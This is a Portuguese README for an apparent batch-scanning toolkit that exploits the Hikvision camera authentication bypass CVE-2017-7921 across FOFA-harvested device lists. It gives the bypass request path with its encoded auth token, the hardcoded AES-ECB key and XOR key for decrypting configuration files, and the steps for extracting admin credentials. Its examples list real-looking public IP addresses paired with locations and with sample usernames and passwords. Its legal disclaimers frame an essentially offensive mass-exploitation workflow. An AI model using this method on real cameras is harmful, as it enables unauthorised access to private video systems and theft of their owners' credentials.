
CVE-2017-7921-Research-Toolkit GUI
Usado para testar rapidamente a vulnerabilidade CVE-2017-7921 da Hikvision com o auxílio do FOFA, além de fornecer a conta e a senha de login e gerar um arquivo JSON.
CVE-2017-7921 Research Toolkit
Aviso de segurança: esta ferramenta destina-se exclusivamente à pesquisa de segurança autorizada e à verificação de vulnerabilidades
Índice
- Aviso Legal e Ético
- Descrição do Projeto
- Recursos
- Instalação
- Uso
- Resultados
- Recomendações de Defesa e Correção
- Detalhes Técnicos
- Agradecimentos
⚖️ Aviso Legal e Ético
Aviso importante: ao usar esta ferramenta, você concorda com os seguintes termos
- Teste somente autorizado: use apenas em sistemas para os quais você possui autorização explícita por escrito
- Cumprimento da lei: observe rigorosamente a Lei de Segurança Cibernética e as leis e regulamentos locais aplicáveis
- Divulgação responsável: se encontrar vulnerabilidades, reporte ao fornecedor pelos canais oficiais
- Fins educacionais: esta ferramenta visa aumentar a conscientização sobre segurança em IoT
- Por sua conta e risco: as consequências legais decorrentes do uso indevido desta ferramenta são de responsabilidade do usuário
Este projeto segue a política de pesquisa de segurança do GitHub e as normas de divulgação do Centro de Resposta de Segurança da Hikvision.
📖 Descrição do Projeto
Ferramenta de detecção e verificação em lote para a vulnerabilidade de bypass de autenticação CVE-2017-7921 em câmeras IP Hikvision, com suporte à descriptografia automática de arquivos de configuração e extração de credenciais.
Objetivos do Projeto
- Ajudar pesquisadores de segurança a avaliar o estado de segurança de dispositivos em grande escala
- Fornecer capacidade de autoverificação para proprietários de dispositivos
- Suportar a geração de relatórios com recomendações de correção
- Promover a atualização de segurança de dispositivos IoT
✨ Recursos
- ✅ Varredura em lote de listas de dispositivos em formato JSON
- ✅ Detecção concorrente com múltiplas threads (número de threads configurável)
- ✅ Download automático dos arquivos de configuração criptografados
- ✅ Descriptografia em tempo real e extração de credenciais de login
- ✅ Progresso da varredura exibido em tempo real (tqdm)
- ✅ Resultados salvos automaticamente como relatório JSON
- ✅ Suporte à retomada da varredura após interrupção
🛠️ Instalação
Requisitos de Ambiente
- Python 3.7 ou superior
- Apenas Linux / macOS (alguns recursos limitados no Windows)
Instalação de Dependências
git clone https://github.com/[你的用户名]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Conteúdo do requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Uso
1. Prepare o arquivo de dados dos dispositivos
Crie a pasta zc/ no diretório da ferramenta e coloque a lista de dispositivos em formato JSON (um objeto de dispositivo por linha):
mkdir zc
Exemplo de arquivo: devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Descrição dos campos:
| Campo | Descrição | Obrigatório |
|---|---|---|
link | Endereço HTTP/HTTPS do dispositivo | ✅ Sim |
city | Informação da cidade | ❌ Não |
country | Código do país | ❌ Não |
org | Informação da organização/ISP | ❌ Não |
2. Execute a ferramenta de varredura
python batch_decrypt.py
3. Exemplo de operação interativa
════════════════════════════════════════════════════════════════════════════════
海康威视摄像头配置文件漏洞批量扫描工具
════════════════════════════════════════════════════════════════════════════════
可用的JSON文件:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45,678 字节)
════════════════════════════════════════════════════════════════════════════════
请选择文件编号: 1
已选择文件: devices_2025.json
正在加载设备数据...
待扫描设备总数: 2000
请输入并发线程数 (默认: 5): 10
并发线程数: 10
开始扫描...
已扫描设备总数: 2000
发现漏洞设备数: 127
漏洞设备已保存到: vulnerable_devices.json
📁 Resultados
Após a conclusão da varredura, é gerado o arquivo vulnerable_devices.json, contendo informações de todos os dispositivos vulneráveis.
Exemplo de saída:
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Recomendações de Defesa e Correção
Para proprietários de dispositivos
- Atualize o firmware imediatamente: acesse o site oficial da Hikvision para baixar a versão mais recente
- Altere a senha padrão: mesmo após a atualização, altere a senha padrão do admin
- Isolamento de rede: implante as câmeras em uma VLAN separada e proíba o acesso direto pela internet pública
- Ative a lista de permissões de IP: permita apenas IPs confiáveis acessarem a interface de administração
Para profissionais de segurança
- Confidencialidade dos resultados: não divulgue informações detalhadas sobre dispositivos não corrigidos
- Assistência na correção: entre em contato proativamente com os proprietários dos dispositivos para oferecer suporte técnico
- Relatórios em conformidade: gere relatórios de avaliação de segurança em conformidade com a norma ISO 27001
🔬 Detalhes Técnicos
Princípio da vulnerabilidade
- Bypass de autenticação:
/System/configurationFile?auth=YWRtaW46MTEKusa credenciais codificadas (hardcoded) - Criptografia fraca: o arquivo de configuração é criptografado com uma chave AES-ECB fixa
- Vazamento de chave: a chave
279977f62f6cfd2d91cd75b889ce0c9aestá codificada no firmware
Processo criptográfico
- Obtenha o arquivo de configuração binário criptografado
- Descriptografia AES-ECB (removendo o primeiro bloco)
- Ofuscação XOR (chave:
0x73, 0x8B, 0x55, 0x44) - Extração por regex da conta admin e dos campos de senha subsequentes
📝 Licença
Este software destina-se exclusivamente à pesquisa de segurança autorizada e a fins educacionais. Os usuários devem garantir a conformidade com todas as leis aplicáveis.
🙏 Agradecimentos
- Obrigado à Hikvision por responder prontamente e lançar atualizações de firmware
- Obrigado à comunidade de código aberto pelos materiais de análise de vulnerabilidades
- Este projeto segue as melhores práticas de pesquisa de segurança em IoT
Última atualização: 2025-01-29 | Versão: v1.0.0 | CVE suportado: CVE-2017-7921